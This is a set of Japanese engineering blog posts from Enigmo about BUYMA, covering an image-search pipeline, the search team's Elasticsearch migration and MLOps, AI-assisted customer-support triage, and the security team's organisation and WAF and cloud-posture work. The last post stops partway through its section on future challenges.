こんにちは、エニグモのAIテクノロジーグループの太田です。 BUYMA では最近、Apple が iOS で提供している Visual Intelligence *1 に対応し、iPhone で見つけたアイテムや画像をきっかけに、BUYMAの商品を探しやすくする取り組みを進めています。 この仕組みに対応するには、ユーザーが見ている画像に近い商品を BUYMA の商品データの中から素早く探せる必要があります。そのために私たちは、大量の商品画像を検索可能な形に変換し、継続的に更新できる画像検索基盤を構築しました。 この記事では、Visual Intelligence 対応の裏側で、私たちがどのように画像検索基盤を設計し、運用できる形にしてきたかを紹介します。 画像検索をプロダクトに組み込むには、検索アルゴリズムだけでなく、数千万枚規模の商品画像を処理するデータ基盤、複数の機能から安全に使えるAPI設計、そして継続的に運用できるコスト設計が必要になります。 今回は、以下の観点から、BUYMA の画像検索基盤づくりを振り返ります。 数千万枚の商品画像を扱うためのデータ処理基盤 複数の機能から使いやすい API として設計する 検索対象範囲とコストをどう決めるか ボトルネックを見極めて処理を高速化する エニグモの開発で大切にしていること 数千万枚の商品画像を扱うためのデータ処理基盤 画像検索を実現するには、商品画像をあらかじめ 埋め込みベクトル（embedding） に変換しておく必要があります。 埋め込みベクトルとは、画像やテキストなどのデータを数値のベクトルとして表現したものです。類似した意味や特徴を持つデータ同士が、ベクトル空間上でも近くなるように表現されるため、画像検索や類似検索でよく使われます。 BUYMA では大量の商品画像を扱っており、検索対象となる画像は数千万枚規模になります。これを単純に1枚ずつ処理していては、処理時間が現実的ではありません。日々更新される商品データに追従するには、大量の画像を安定して処理できる仕組みが必要でした。 そこで私たちは、Google Cloud の Dataflow を使った分散処理基盤を構築しました。 Dataflow は、Apache Beam のパイプラインを実行できる Google Cloud のマネージドサービスです。Cloud Storage、BigQuery、Vertex AI Vector Search など、周辺の Google Cloud サービスと組み合わせやすい点も、今回の用途に合っていました。 検証では、「商品画像を取得 → モデルで埋め込みベクトルへ変換 → 検索インデックスに投入するためのデータを作成」という一連の処理を対象にしました。 処理件数、ワーカー数、処理時間、実行コストを確認しながら、次のような観点を見ています。 数千万枚規模に拡張したときに、処理時間が運用上許容できるか 日々の差分更新に追従できるか 処理時間とコストのバランスが取れているか 途中失敗時の再実行や復旧がしやすいか この検証により、画像を一括で処理する初期構築と、日々の差分更新の両方を見据えたパイプライン設計ができました。 現在の処理は、概念的には以下のような流れです。 この基盤によって、数千万枚規模の商品画像を検索可能な形に変換し、Visual Intelligence 対応を含む画像検索機能の土台を作ることができました。 複数の機能から使いやすい API として設計する 画像検索基盤は、Visual Intelligence 対応だけに閉じたものではありません。 BUYMA の検索体験の改善や、出品支援など、画像を起点に商品を探す・提案する機能にはさまざまな応用先があります。そのため、特定の機能に密結合した実装にせず、複数の機能・用途から再利用しやすい API として設計しました。 基本構成は以下の4層です。 この構成では、BUYMA のサービス仕様に関わる処理と、画像検索そのものに関わる処理を、それぞれ扱いやすい層に分けています。 たとえば、ログイン状態の確認、商品情報の取得、販売状態や表示条件の適用、画面で扱いやすいレスポンスへの整形といった処理は、BUYMAのアプリケーション側で扱うほうが自然です。 一方で、商品IDや画像を入力として受け取り、埋め込みベクトルの生成や Vertex AI Vector Search への問い合わせを行う処理は、画像検索API層に閉じ込めたほうが扱いやすくなります。 この分け方により、アプリケーション側の開発者は画像検索API層の内部実装を詳しく知らなくても、BUYMA のサービス仕様に沿った形で画像検索の結果を扱えます。また、画像検索 API 層も特定の画面や機能に依存しすぎず、共通基盤として改善しやすい状態を保てます。 この構成には、次のようなメリットがあります。 プロダクト側の仕様変更をアプリケーション層で吸収しやすい 画像検索 API 層を、特定の画面や機能に依存しすぎない形に保ちやすい 検索処理そのものの改善を、共通基盤側で進めやすい 新しい利用機能が増えたときに、どちらの層で対応すべきかを考えやすい 特に今後の拡張では、アプリケーション層で吸収すべき仕様なのか、画像検索 API 層に共通機能として持たせるべき処理なのかを切り分けることが重要になります。 たとえば、画面表示の都合や BUYMA 固有の表示条件であればアプリケーション層で扱い、検索ロジックや候補生成の共通処理であれば画像検索API層で扱う、といった判断です。 この切り分けを意識しておくことで、機能追加のたびに基盤が複雑化することを防ぎながら、検索体験の改善や出品支援など、複数の用途に展開しやすい状態を保てると考えています。 検索対象範囲とコストをどう決めるか 画像検索基盤では、検索対象を広げるほど、ユーザーが見つけられる商品候補は増えます。 一方で、BUYMA に存在するすべての商品画像を無条件に検索対象にすると、処理量、インデックスサイズ、更新頻度、運用コストは大きくなります。検索品質のために対象を広げることと、安定して運用できる範囲に抑えることのバランスが重要です。 そのため私たちは、単純に「すべての画像を入れる」前提ではなく、検索対象範囲をどう決めるべきかを検討しました。 主に見ている観点は以下です。 1商品あたり何枚の画像を対象にするか 例：先頭画像だけで十分か、複数画像を含めるべきか 検索体験への影響 例：対象画像を増やすことで、ユーザーにとって有用な候補がどれだけ増えるか インデックス更新への影響 例：データ量が増えたときに、更新処理や再構築が運用上問題ないか コストへの影響 例：処理コスト、保存コスト、検索インデックスの運用コストが予算内に収まるか ここで重要なのは、検索対象を広げること自体を目的にしないことです。 画像を増やせば、理論上は検索候補の幅が広がります。しかし、ユーザーにとって有用な検索結果が増えないのであれば、処理量やコストだけが増えてしまいます。 逆に対象を絞りすぎると、検索結果の多様性や網羅性が下がる可能性があります。 そのため、画像枚数や対象範囲は固定的に決めるのではなく、検索品質、コスト、運用安定性を見ながら調整できる設計にしています。 また、画像の前処理についても検証しました。 商品部分を切り抜いた画像を使う案も選択肢として検討しましたが、現時点では本番運用の柔軟性を重視し、元の商品画像をもとに検索対象を構築する方針を採用しています。 前処理を増やすと、検索品質が改善する可能性はあります。一方で、処理時間、失敗時の再実行、画像枚数変更時の柔軟性、運用コストにも影響します。 そのため、まずはシンプルな構成で安定運用できる状態を作り、必要に応じて追加の前処理を検討する方針にしました。 ボトルネックを見極めて処理を高速化する 画像検索基盤では、埋め込みベクトルを生成する処理の速度も重要です。 画像を埋め込みベクトルに変換する処理では GPU を利用しています。GPU を使うことで、数千万枚規模の画像処理を現実的な時間に近づけられます。 ただし、GPU を使えば自動的に処理全体が速くなるわけではありません。 実際に処理を動かしてみると、期待したほど速度が出ないケースがありました。調査すると、ボトルネックは GPU での計算そのものではなく、画像の読み込み処理にありました。GPU が計算を待っている時間が長く、十分に活用できていなかったのです。 そこで、画像の読み込み部分を並列化し、GPU に効率よくデータを渡せるように改善しました。 その結果、処理時間と実行コストの両方を大きく改善できました。 ここで得られた学びは、 GPU を使うだけでなく、GPU を活かせるように処理全体を設計する必要がある ということです。 計算処理、画像の読み込み、ネットワーク I/O、バッチサイズ、メモリ使用量などを確認しながら、全体として効率よく動くように調整する必要があります。 こうした改善によって、初期構築だけでなく、日々の差分更新も現実的な時間とコストで運用できるようになりました。 エニグモの開発で大切にしていること 今回紹介した画像検索基盤の開発では、プロダクトに組み込むための現実的な設計が重要でした。 具体的には、以下のような技術的な意思決定を積み重ねています。 数千万枚規模の商品画像を処理できるデータ基盤を作る Visual Intelligence 対応を含む複数機能から再利用できるAPIにする 検索対象範囲を、品質・コスト・運用性のバランスで決める GPU を活かせるように処理全体のボトルネックを改善する 新しい機能を追加しても、基盤が複雑化しすぎない設計にする エニグモでは、新しい技術を使うことだけを目的にするのではなく、BUYMA のユーザー体験を良くするために、技術をどう組み合わせ、どう運用可能な形に落とし込むかを大切にしています。 Visual Intelligence 対応も、その取り組みの一つです。 iOS の Visual Intelligence を使うことで、ユーザーは気になったアイテムや画像を起点に、BUYMA の商品と出会いやすくなります。 その裏側には、数千万枚規模の商品画像を扱うデータ処理、クラウドアーキテクチャ、API 設計、検索品質、コスト最適化など、さまざまな技術要素があります。 私たちはこれからも、BUYMA で商品と出会う体験をより自然で便利なものにするために、画像検索基盤の改善に取り組んでいきます。 株式会社エニグモ すべての求人一覧 hrmos.co *1 : https://support.apple.com/ja-jp/guide/iphone/iph12eb1545e/ios

はじめに こんにちは、AIテクノロジーグループの検索チームです。 昨年公開した エニグモのAI活用を支える「AIテクノロジーグループ」について紹介します！ では、グループ全体の体制と各チームの役割を紹介しました。 本記事ではそのなかの検索チームに焦点を当て、日々どんなシステムを運用し、どんな案件を進めているかをもう一段詳しくお伝えします。 検索チームは名前のとおり BUYMA の検索システムを担当していますが、それだけではありません。 データサイエンティストが開発したモデルを安定して動かす MLOps と、生成AIを使ったシステムの実装・PoC も担っています。検索基盤から機械学習の本番化、AI の実装までを同じチームが見ることで、インフラからアプリケーションまで一気通貫で課題を解けるのがこのチームの特徴です。 対象読者としては、検索・MLOps・データ基盤まわりのエンジニアの方を想定しています。検索エンジニアという職種は専門性が高く、会社によって担当範囲が大きく違うものと思われます。BUYMA の検索チームが実際に何をしているか、その具体性を示し、この領域のイメージを持ってもらうことが、この記事の目的です。 検索チームの役割 検索チームの業務は、次の3つの柱で整理できます。グループ紹介記事で触れた内容を、本記事では案件の粒度まで落とします。 BUYMA の検索システムの運用改善 大小あわせて8つの検索システムを運用し、その中核である商品検索では、ユーザーが探している商品を見つけられる状態を維持する。 MLOps データサイエンティストが開発したモデルを、求められるレイテンシ・可用性・セキュリティを満たす形で本番に載せ、繰り返し改善できるサイクルをつくる。 AIシステムの開発・PoC 生成AIをはじめとするサービスを使い、BUYMA 向けの AI 機能を実装し、PoC で終わらせず運用に載るところまで持っていく。 検索チームの3つの柱。検索、MLOps、生成AIの実装・PoC 担当範囲は検索エンジンそのものにとどまりません。検索API、商品データの投入、中間DB（MySQL）、クラスタ、監視、CI/CD まで、検索と機械学習サービスが動くための一式を見ています。 これらの基盤は Google Cloud（以下、GCP） 上で運用しており、GKE、Cloud Run、Vertex AI などを組み合わせて構成しています。 検索システムの運用改善 検索システムの運用改善では、まず「検索が止まると何が起きるか」、次に「なぜ本体から独立できたか」、最後に「独立したからこそ進んでいる Elasticsearch への載せ替え」の順で書きます。検索を止めないことが前提で、そのうえで基盤を進化させる、というのがこの領域の進め方です。 1. 検索が止まると、発見も購入も止まる BUYMA は世界中のファッションアイテムを購入できるマーケットプレイスです。 出品中約630万点のなかから、ユーザーが「これだ」と思える商品にたどり着く。その入口が検索です。キーワードやカテゴリ、ブランド、価格などの条件を組み合わせて探す体験が、発見と購入を支えています。 ピーク時の検索リクエストは約400 RPS に達します。検索が止まると、画面は残っていても、購入までの導線が途切れます。 サービスの主軸を担っている、という実感はここにあります。 絞り込みやファセット、並び順を含めた現行の検索体験を維持したまま、基盤を進化させていく必要があります。 検索チームが管理している検索システムは、大小あわせて8つあり、規模も用途もさまざまです。本記事ではそのうち、ユーザーの発見と購入に直結する商品検索に絞って書きます。 商品検索では、GKE 環境の更新、中間DBの MySQL、検索API、インデックス更新までを一体で見ています。いまは検索を止めない運用と基盤更新が中心で、検索結果の精度をよりよくしていくのはその先です。 検索システムの変遷については、以前の刷新の記録もあります。 BUYMAの検索システムを刷新したお話 2. GCP 移設と同時に境界を設け、BUYMA 本体から独立できた 2024年7月に、大小あわせて8つの検索システムをすべて GCP へ移設しました。移設と同時に、BUYMA 本体との境界も設けています。 【当時の課題】 移設前は、検索の大きな変更が BUYMA 本体（Rails / PHP 側）のリリースサイクルに引きずられやすい構造でした。検索エンジンのインデックスの洗い替えなどを、本体と切り離して進めにくい状態です。 【設けた2つの境界】 参照 : 本体は検索エンジンの実装を意識せず、検索APIのインタフェースを通じて検索を利用する 更新 : 商品データの更新は、MySQL を挟んで検索側へ渡す 検索APIと検索エンジンは、検索チームのリポジトリとデプロイで完結します。この境界があることで、検索側の基盤変更が BUYMA 本体のリリースを待つ必要がなくなりました。 参照は検索API、更新はMySQL 8つすべてが同じ切り出し方になっているわけではありません。 商品検索をはじめとする主要な検索は、検索APIを境界に独立した構成 で運用しています。残りのシステムは GCP 上で動いていますが、本体との結合の度合いはそれぞれ異なります。 【独立して進めるようになったこと】 独立した検索では、 検索領域だけの案件を、検索チームの裁量で企画・検証・リリースしやすくなった ことが大きいです。マイクロサービス化の効果は、運用が楽になることだけではありません。 たとえば次のような業務を、本体の大規模リリースに乗せることなく進められます。 検索クラスタの構成変更やスケール インデックスの投入パイプラインの刷新 検索APIの置き換え 検索エンジンそのものの検証と段階的な載せ替え 辞書やマッピングの更新を、検索を止めずに反映する仕組み 通常は BUYMA 本体が従来どおり検索APIを呼べばよく、裏側の実装は検索チームが差し替えられます。デプロイは検索側で完結します。インタフェースやデータの投入口を変えるときだけ、本体側のリクエスト処理や更新処理まで検索チームが担います。専門性の高い検索の問題を、検索ドメインの中で完結して解ける状態です。検索を独立したプロダクトとして扱える、というのがいまの進め方の前提です。 3. Solr から Elasticsearch への載せ替えを、検索チームのペースで進める 独立して案件を進められるようになった具体例が、現在進行中の Solr から Elasticsearch への移行です。 【当時の課題】 商品検索を支えているのは Apache Solr です。GCP 上で同一データを持つ2クラスタ、合計24ノードの冗長構成です。スケールや運用の柔軟性を上げたくても、本体と結合したままではエンジンごと変える判断は現実的ではありませんでした。 いまは同じ GCP 上で、Elasticsearch への置き換えを検証・構築しています。 【移行で外せない要件】 出品中約630万点の商品を対象にした全文検索 ブランド・カテゴリ・価格などのファセット 現行に近い並び順・グループ化 ピーク約400 RPS でも、ユーザー向けの応答速度を維持すること インデックスの洗い替えのために検索を止めないこと 【解決へのアプローチ】 エンジン選定 フルマネージドの検索サービスも検討しましたが、ファセットや複雑なソートを現行どおり載せるには、カスタマイズの余地が足りませんでした。既存の GCP 環境との統合のしやすさも踏まえ、Elasticsearch を GKE 上で運用する方針にしています クラスタ構成 Solr では安定運用のために必要だった2クラスタの冗長構成を、Elasticsearch では1クラスタにまとめる想定です 検索APIの刷新 検索APIとデータ投入も検索システム側で作り直しています。本体向けのインタフェースは現行に合わせつつ、裏側は Solr 前提の実装から切り離します。現行の検索APIは Python で、CPU 使用率が高く、アクセスが増えると 20〜30 インスタンスが起動し、コストも増えやすい状態です。新しいAPIは Go に書き換え、Cloud Run 上に設置済みですが、本番トラフィックの切替はこれからです クエリの見直し Solr 向けのクエリをそのまま写したところ、見た目の検索結果は近づけたつもりでも、本番相当の負荷をかけるとおよそ200 RPS で頭打ちし、ノードの CPU が飽和しました。現行の検索体験は残したまま何度もクエリの組み立てを見直し、ピーク約400 RPS の要件に乗せられたときは大きな達成感がありました 現行 Solr は同一データの2クラスタ。Elasticsearch は1クラスタにまとめる 検索がマイクロサービスとして独立しているからこそ、現行 Solr を止めずに並行して検証し、検索チームのペースで載せ替えを進められています。 MLOps：モデルを「定期的に、安全に」本番へ載せる 検索チームは、もともと検索エンジニアリングの専任でした。 推薦や機械学習の案件が増えるにつれて、モデルを本番で動かし続ける基盤、いわゆる MLOps も担当するようになりました。 実験を本番の定期ジョブに載せ、運用を回す 【役割分担】 データサイエンティストは、施策の設計、特徴量、学習、評価を担います。検索チームは、その成果物がオンラインの推論でも、毎日・毎週のバッチでも、想定した品質で動き続けるための実行基盤を担います。 不正検知については、分析・導入判断の経緯を別記事でも紹介しています。検索チームの役割は、そうしたモデルを「検証で終わらせず、運用に耐えるサービス」にする側です。 対応例: 不正対策の機械学習導入までに検証したこと 【基盤の構成】 学習・推論は Vertex AI Pipelines（Kubeflow Pipelines）上のパイプラインとして定義し、前処理・学習・予測・評価などのコンポーネントはコンテナイメージとしてバージョン管理します。GitLab CI/CD でテスト、ビルド、デプロイまでつなぎ、推論結果を下流のサービスやバッチが受け取れる形で届けます。 パイプラインには、推薦や不正対策、定期バッチで回すスコア系など、オンラインの推論とバッチの両方を載せています。 データサイエンティストの実験を、CI/CD と Vertex AI Pipelines を経て形にする 【いちばん詰まったところ：バージョン整合】 パイプライン定義、コンポーネント、下流のジョブで共通ライブラリを使い回すときのバージョン整合です。片方だけ新しいイメージに載せ替えると、学習は通っても、推論側で想定どおり動かないことがあります。派手な障害ではないのですが、原因の切り分けに時間がかかるタイプです。コンポーネントとパイプラインのバージョンを分け、共通ライブラリの整合を取りながら回すようにしたことで、大きな安心感を得られました。 【この領域の面白さ】 機械学習システムは、一度出せば終わりではありません。データが変わり、モデルが更新され、しきい値も動きます。そのたびに同じ品質で出し直せる状態を維持します。レスポンス速度や可用性、セキュリティは、検索APIと同じ目線で設計します。 ここでの面白さは、アルゴリズムそのものというより、 実験を本番の定期ジョブに載せ、運用を回せる状態にすること です。 AIシステムの開発・PoC 以前は検索運用と MLOps が主でしたが、生成AIの API が実用的になったこともあり、AI を使ったシステムの開発や PoC も担当するようになっています。 テキストや画像を対象にしたチェック処理を本番に載せるほか、商品検索とつながる「AIでさがす」にも関わっています。 生成AIによる感情分析・各種チェック 【対象にしているもの】 BUYMA は、出品者と購入者がメッセージを交わす CtoC の場でもあります。正当な商品のやりとり（在庫、サイズ、色味、配送追跡、公式サイトとの照合）と、スパム・フィッシング・外部誘導を切り分ける必要があります。 【ルールベースだけでは足りない理由】 ルールベースだけでは、新しい手口に追いつけません。逆に「外部URLがある」「BUYMA の外のサイトだ」だけで止めると、正常な購入会話まで不可となってしまいます。 【実装しているチェック】 検索チームでは Gemini を使い、次のようなチェックをマイクロサービスとして実装しています。 問い合わせメッセージのスパム・フィッシング判定 感情分析など、テキストのトーンやリスクを見る処理 画像に含まれる、外部サイトへの誘導につながりやすい要素の検出 【運用上の判断】 同期の API と、まとめて処理するバッチの両方があります。過検知と見逃しのどちらを許容するかは、カスタマーサポートや不正対策の運用チームとすり合わせます。モデルの世代が上がったときは、精度・速度・コストのバランスを見て載せ替えるかどうかを決めます。速いが高コスト、あるいは高精度だがレイテンシが合わない、といった上位モデルを見送る判断もここに含まれます。 【BUYMAドメインの制約】 検索で「現行の体験を維持したまま裏側を差し替える」のと同じで、生成AIでも、まずドメインの制約から設計します。ファッションの CtoC では、韓国・欧米の正規 EC の URL や配送会社の追跡リンクは日常的に登場します。その文脈を無視した汎用のスパム判定では、実運用には耐えません。 生成AIと商品検索の接点：「AIでさがす」 BUYMA の「AIでさがす」は、記事コンテンツを根拠にした提案へと進化しています。 ここは、検索チームが運用する商品検索APIと、生成AI側のキーワード生成・文書検索が接続する領域です。検索基盤が独立していることで、AI 側の変更と、商品検索エンジン側の変更を並行して進められます。 対応例: 「AIでさがす」サービスのリニューアル これから取り組むこと 検索チームとして、目の前にある大きな業務は次のようなものです。 Elasticsearch の品質確認と、Go 製検索APIを含めたトラフィックの段階的な切替 独立した検索基盤の上で、検索結果の精度をよりよくしていくこと 推薦・不正検知などの ML パイプラインを、より安定して回し、より載せやすくすること 生成AIのチェックや AI 検索を、既存の検索・ML 基盤と無理なくつなぐこと 「完成した基盤を保守する」フェーズではありません。切り離した検索プラットフォームの上で、エンジンも ML も AI も、まだ載せ替えと拡張の途中にあります。新メンバーには、アーキテクチャ設計から主導していただく余地が十分にあります。 インフラから API、データ、評価までを、同じチームで担っているのも醍醐味の一つです。 さいごに 検索チームは、出品中約630万点を支える商品検索をはじめ、BUYMA の検索を止めないことと、機械学習と生成AIを本番に載せることを並行して実施しています。 2024年の GCP 移設で検索APIを境界にして商品検索を独立させたことが、いまの Elasticsearch 移行のような「検索単体の大きな案件」を可能にしています。 現在は検索チームとしての幅を広げ、検索基盤・MLOps・生成AIまでを見ています。 今後はデータ基盤チーム等と統合し、よりプラットフォーム全体を見る体制へ変遷していく予定です。検索に閉じず、データを集め、モデルを回し、サービスとして届けるところまでを同じ視点で扱える場が、さらに広がっていくと考えています。 ここまで、いま私たちが担当しているものと、これから広がっていく業務の範囲を書いてきました。少しでも業務イメージが伝われば幸いです。 株式会社エニグモ すべての求人一覧 hrmos.co

こんにちは。 エニグモのWebアプリケーションエンジニアの レミー です！ カスタマーサービスに寄せられる問い合わせは、仕様確認から不具合の疑いまで内容が幅広く、エンジニアが対応にかかわる場面も少なくありません。近年はこのカスタマーサービス対応の現場でも、Notion AIやCursorといったAIツールの活用が急速に進んでいます。 この記事では、私たちのエンジニアチームがNotion AIとCursorをカスタマーサービス対応に取り入れたことで、業務がどう変わったのかを、導入前と導入後を比較しながら紹介します。「AIでカスタマーサービス対応は本当にラクになるのか？」を検討している方の参考になれば幸いです。 AIと協働してカスタマーサービス対応を進めるエンジニアのイラスト エンジニアチームにおけるカスタマーサービス対応とAI活用 カスタマーサービスチームから寄せられる問い合わせは、仕様確認・運用相談・不具合の疑いなど多岐にわたります。エンジニア側はまず一次対応（トリアージ）を行い、必要に応じて各機能領域（出品／購入／サービス基盤／フロントエンド）の担当へ連携しながら、解決まで伴走する体制をとっています。 現在この流れの中で主に活用しているAIツールは、次の2つです。 Notion AI：問い合わせ内容の整理、過去の類似案件の検索、仕様ドキュメントの要約、議事録の作成 Cursor：サービスのコードベース調査、該当ロジックの特定、修正案やデータ補正SQLのドラフト作成 どちらも「人の判断を置き換える」ためではなく、判断に必要な情報を早く揃えるために使っている、という感覚が実態に近いです。 Notion AIとCursorの使い分けイメージ AI導入前のカスタマーサービス対応で起きていた課題 AI導入前は、特に次のような部分に時間がかかっていました。 問い合わせを読んで、そもそもどの領域の話なのかを判断するまでに時間がかかる 「これ、前にも似た問い合わせがあった気がする」という、記憶に頼った探索 仕様が明文化されていない領域では、コードを読み進めるところから調査が始まる 調査内容をドキュメントに残す作業が後回しになり、結果的にナレッジが個人に溜まっていく とりわけ自分の担当外の問い合わせが来たときの初動コストが大きく、「詳しい人に聞く」以外の選択肢を取りにくい状態でした。 AI導入前と導入後のカスタマーサービス対応を比較したイラスト AI導入後、カスタマーサービス対応はどう変わったか 一次切り分け（トリアージ）の変化 問い合わせが起票された段階で、まずNotion AIに内容を渡し、次の3点を整理させるようになりました。 事象の要約（何が / どの画面で / いつから） 想定される担当領域 過去の類似課題・関連する仕様ドキュメントへのリンク これにより、問い合わせを開いてから「誰が見るべきか」を判断するまでの時間が明確に短くなりました。ワークスペース内の課題データベースやドキュメントを横断して検索してくれるため、記憶に頼った探索が減ったのが大きな変化です。 調査プロセスの変化 コードの調査ではCursorを使い、「この画面のこの挙動を制御しているロジックはどこか」という粒度で当たりをつけるようになりました。 担当外の領域のコードでも、関連ファイルまでは短時間でたどり着ける データ補正が必要な場合は、修正用SQLのドラフトを出させてから人がレビューする ログ調査の観点（どのログを、どの時間帯で見るべきか）の洗い出しにも活用する ただし、AIの出力をそのまま本番に反映することはありません。特にデータ補正SQLは、従来どおりレビューを経てから実行しています。AIが担うのは「調査の入口を早くする」ところまで、という線引きを意識しています。 ドキュメント・ナレッジ共有の変化 以前は後回しになりがちだった調査記録の整備も、変わってきました。 対応中のやり取りやコメントをもとに、調査サマリのドラフトをAIに作らせる 週次のカスタマーサービス対応プロジェクト単位で、対応内容を集約・整理する 定例の議事録も、箇条書きメモから整った形に整形する 「書くのが面倒だから残さない」という状態が減り、属人化の解消という当初の課題に、実際に効いていると感じています。 これからのカスタマーサービス対応で取り組みたいこと 現時点で見えている、今後取り組みたいテーマを挙げます。 一次切り分けの自動化：起票された課題に対し、想定領域・緊急度・関連ドキュメントを自動で提案する。チャット通知の時点で、ある程度整理された状態にする。 ナレッジの継続的な整備：調査手順のドキュメントを、実際の対応内容から継続的に更新し、「同じ問い合わせに何度も同じ調査をする」状態をなくす。 傾向分析：問い合わせの多い機能を分析してプロダクト改善につなげる。リードタイムを計測し、ボトルネックを可視化する。 判断の質を落とさない仕組みづくり：AIの出力を検証するチェック観点を明文化し、AIが誤った前提を出したケースを記録して振り返りに使う。 今後のカスタマーサービス対応改善ロードマップのイラスト まとめ AIを導入したからといって、カスタマーサービス対応が劇的にラクになった、という単純な話ではありません。実際に変わったのは、調査に取りかかるまでの時間と、ナレッジを残すハードルでした。 一方で、仕様の解釈や影響範囲の判断、本番データを触るかどうかの意思決定といった部分は、これまで通りエンジニアが責任を持って行っています。AIが情報収集を引き受けてくれる分、人が「判断」に使える時間が増えたというのが、現時点での率直な手応えです。 改善の余地はまだ多くありますが、定例で振り返りながら、少しずつ運用を整えていきたいと思います。 よくある質問（FAQ） Q: AIにカスタマーサービス対応を任せると、対応品質は下がりませんか？ A: 品質に直結する判断（仕様解釈・影響範囲・本番データの変更可否）は、引き続き人が担っています。AIが担当するのは情報収集や調査の入口までで、最終判断は人が行う、という線引きを徹底しています。 Q: Notion AIとCursorはどう使い分けていますか？ A: Notion AIは問い合わせの整理・検索・要約・議事録などの「テキスト業務」、Cursorはコードベースの調査やSQLドラフト作成などの「開発業務」に使っています。 Q: データ補正SQLもAIに書かせて大丈夫ですか？ A: ドラフト作成には使いますが、そのまま実行はしません。従来どおり人のレビューを経てから本番に反映しています。

1. はじめに こんにちは！エニグモのセキュリティチームです。 エニグモの中核事業の「 BUYMA 」は、世界中のパーソナルショッパーから商品を購入できる、会員数1,200万人超のCtoCのECプラットフォームです。 大規模かつグローバルなトラフィックを守るため、セキュリティの重要性は日々高まっています。 今回は、そんな当社におけるセキュリティチームの現在の取り組みや組織体制、そして今後注力していく技術的な課題についてご紹介します。 セキュリティエンジニアとしてエニグモで働く魅力や、リアルな業務の裏側が少しでも伝われば幸いです。 2. セキュリティ組織の体制とミッション エンジニアリングの現場に根ざした「戦略的配置」 エニグモのセキュリティチームは、サービスエンジニアリング本部のインフラグループに所属しています。これは、セキュリティを単なる「管理・監査」の対象ではなく、サービスの信頼性を支える「エンジニアリング」の一部として捉えているためです。 各専門領域が集まるエンジニアリング組織の中に身を置くことで、最新の技術トレンドや開発のスピード感を共有しながら、実効性の高いセキュリティ施策をダイレクトに実装・反映できる「攻め」の体制を構築しています。 全社・グループ全体を網羅する広範なハブ組織 私たちのミッションは、自社サービスの開発現場に留まりません。専門家としての知見を活かし、グループ全体の安全をデザインする「ハブ」として、現在は主に以下のような領域でセキュリティ強化を推進しています。 全社セキュリティ・ガバナンス： コーポレートITチームと連携し、社内システムからプロダクトまで一貫した安全性の担保とセキュリティ水準の底上げ。 自社サービスのセキュアな開発支援： 「BUYMA」のサービス開発を担う開発とインフラ両方のエンジニアと連携し、安全なインフラ構築とエンジニアリングによる継続的な脆弱性対策の実施。 グループ全体のセキュリティ向上： エニグモおよび「 BUYMA TRAVEL 」をはじめとするグループ会社に対し、ルール策定支援や脆弱性情報の共有、対応手順の標準化を通じた防御力の強化。 新規事業のセキュリティ・アセスメント： 事業立ち上げの初期フェーズから伴走する、セキュリティ設計やリスクの評価。 業務領域の整理と「シフトレフト」の志向 現在のチームでは「シフトレフト」を強く志向し、役割分担を明確にしています。 セキュリティエンジニアの業務領域は広く、とかく日々の運用・構築作業に忙殺されがちです。エニグモでは、WAFのテスト・本番環境への導入・デプロイ作業や、脆弱性スキャンツールの設定といった一部の運用・構築作業は、開発プロセスやインフラ運用の中に組み込み、各チームと役割を分担する体制としています。 一方で、CrowdStrikeなどのアラート一次対応をはじめとするセキュリティインシデントの監視や初動対応は、引き続きセキュリティチームが責任を持って担っています。これにより、現場のリアルな脅威動向を把握しつつ、「セキュリティ戦略の設計・ガバナンス・自動化の仕組みづくり」といった、よりセキュリティ要件の策定や設計といった高度で全社的なセキュリティ課題へ注力できる環境を作っています。 3. 具体的な施策・プロジェクトの紹介 直近で取り組んできたプロジェクトをいくつかご紹介します。 脅威情報の継続的な収集とインシデントへの迅速な対応 日々高度化するサイバー攻撃に対抗するため、多様な媒体から脅威・脆弱性情報を継続的に収集・分析しています。近年多発しているパッケージエコシステムを標的としたサプライチェーン攻撃（Mini Shai-Hulud等） や、NGINX Riftをはじめとするクリティカルな脆弱性が発表された際には、即座に影響調査を行い、開発チームと連携して安全なバージョンへの固定化や設定の回避策などの対応を迅速に進めました。 AWS WAFの運用高度化とDDoS対策のチューニング Webアプリケーションを強固に保護するため、AWS WAFを本番導入し運用・改善を進めています。WAFの導入・デプロイにあたってはインフラチームが担い、セキュリティチームはルールの高度な分析とチューニングに専念する体制をとっています。 実際のDDoS攻撃のデータとメトリクスを分析した結果、標準のマネージドルールに依存するだけでなく、アクセス元のIPやネットワークアドレス単位でのレート制限を適切に設定することが防御に非常に有効であることを確認しました。現在は、これらの知見を活かした独自のルールチューニングや、悪意のあるIPアドレス（AbuseIP）の自動ブロックの仕組みなどの実装を進めています。 CNAPPの運用改善と高度化（マルチクラウドのセキュリティ強化） AWSとGCPを利用するマルチクラウド環境において、クラウド全体のセキュリティポスチャを継続的に管理するため、すでにAWS Security HubおよびGCP Security Command Center（SCC）を導入しています。 現在は、これらのCNAPPツールを用いた運用の改善・高度化を進めており、増大し続けるFindingsの内優先的に対応が必要な重大な設定ミスや潜在的な攻撃を選別し、リスクベースで効率的に脆弱性を潰し込んでいく基盤づくりに注力しています。 AIツールの安全な利活用に向けたセキュリティルールの策定 開発効率化のためにAIコーディングツール（Cursor、Claude Code等）やMCP（Model Context Protocol）の導入機運が高まる中、生産性向上とセキュリティのバランスを取るためのルール作りを主導しています。リスクの高いコミュニティ製MCP（BigQuery連携など）の利用制限ルールの策定や、RAGシステムの構築に向けたセキュリティガイドラインの作成など、現場と連携しながら新しい技術を安全に活用するための「攻めのセキュリティガバナンス」を進めています。 社内セキュリティカルチャーの醸成とセキュア開発の推進 エニグモにはエンジニアを中心に毎週実施している社内勉強会「Hacker's Delight」があり、ここで月に1回程度セキュリティの啓発活動をおこなっています。サプライチェーン攻撃などの最新事例や攻撃デモを交え、技術的な面白さを共有しながら現場の解像度を上げる場づくりを大切にしています。 ※ 社内勉強会「Hacker's Delight」についてはこちらをご覧ください。 https://www.wantedly.com/companies/enigmo/post_articles/940864 それに加え、技術者・非技術者それぞれに向けたセキュリティ教育やテストを毎年実施しています。また、「セキュア開発実施の手引き」の策定や、Googleドライブ等でのファイル運用ルールといった日常的なガイドラインの整備も行い、現場のメンバー一人ひとりが自律的にセキュリティを高められるカルチャー醸成に努めています。 4. これから取り組むべき技術的課題 エニグモのセキュリティをさらに進化させるため、今後以下のような技術的課題に注力していきます。 DevSecOpsの推進とSBOMの導入 